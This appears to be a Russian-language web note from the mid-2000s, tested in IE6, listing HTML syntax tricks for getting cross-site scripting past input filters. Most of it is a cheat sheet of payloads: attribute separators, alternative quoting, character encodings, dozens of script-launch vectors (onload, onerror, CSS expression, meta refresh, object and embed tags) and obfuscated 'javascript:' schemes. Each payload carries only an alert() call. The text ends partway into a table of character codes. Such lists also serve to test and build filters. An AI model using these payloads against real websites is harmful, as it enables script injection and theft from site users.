|
|
||
|
Один из основных методов защиты сайтов от XSS-уязвимостей - это использование
различных фильтров на вводимые пользователем символы. В данной заметке описаны
особенности синтаксиса HTML, позволяющие обходить эти фильтры. Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях или в других браузерах, примеры могут и не работать. Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, не считают этот символ огрничителем. • Разделители атрибутов тега. Помимо пробела, можно использовать символы: слеш(/), табуляцию, перевод строки. Разделитель можно опустить, если предыдущий атрибут заключен в кавычки. <image/src="1.png"/alt="Подсказка"/border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png"alt="Подсказка"border="0"> • Ограничители атрибутов тега Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать. <image src="" alt="Моя подсказка" border="0"> <image src="" alt='Моя подсказка' border="0"> <image src="" alt=`Моя подсказка` border="0"> <image src="" alt=Подсказка border="0"> • Кодировки символов Расшифровка символов в скрипте происходит до его выполнения: <img src=javascript:alert("ok")> <img src=javascript:alert('ok')> <img src=javascript:a& #108ert('ok')> <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href) • Ограничители символьных литералов в скриптах Помимо апстрофа и кавычек, можно использовать слеш (только в этом случае эти слеши будут частью текста). <img src=javascript:alert('ok')> <img src=javascript:alert("ok")> <img src=javascript:alert(/ok/)> • Способы запуска скриптов Несколько способов автоматического запуска скриптов: <script>alert('ok')</script> <script src=1.js></script> <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(alert('ok'))></span> <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз) <style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')> (только в IE) <a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке) <a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке) • Различные скриптовые протоколы, способы их написания <img src=javascript:alert()> <img src=vbscript:AleRt()> <img src=JaVasCriPt:alert()> <img src=javascript:alert()> <img src=javascript :alert()> <img src=javascript :alert()> <img src=javascript :alert()> <img src="javascript :alert()"> (перед двоеточием - символ табуляции) <img src="java scri pt:ale rt()"> (внутри слова javascript - символ табуляции и возврат каретки) • Вставки скриптов в style Операторы скрипта в атрибуте style нужно разделять "\;". <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`> • Специальные теги. <image src="1.png" alt="" border="0"> (тег img и image работают одинаково) <plaintext> (все что будет идти после этого тега не будет восприниматься как как обычный текст - не HTML) <textarea> (все что будет идти после этого тега не будет восприниматься как как обычный текст - не HTML) <xml> (все что будет идти после этого тега не будет отображаться) • Таблица часто применяемых кодов: Символ Десятичная 16-ая Символьная URL кодировка кодировка кодировка кодировка
|
| Дизайн и разработка сайта | "Проект Amega" |
© 2000-2005 Все права защищены и охраняются законом.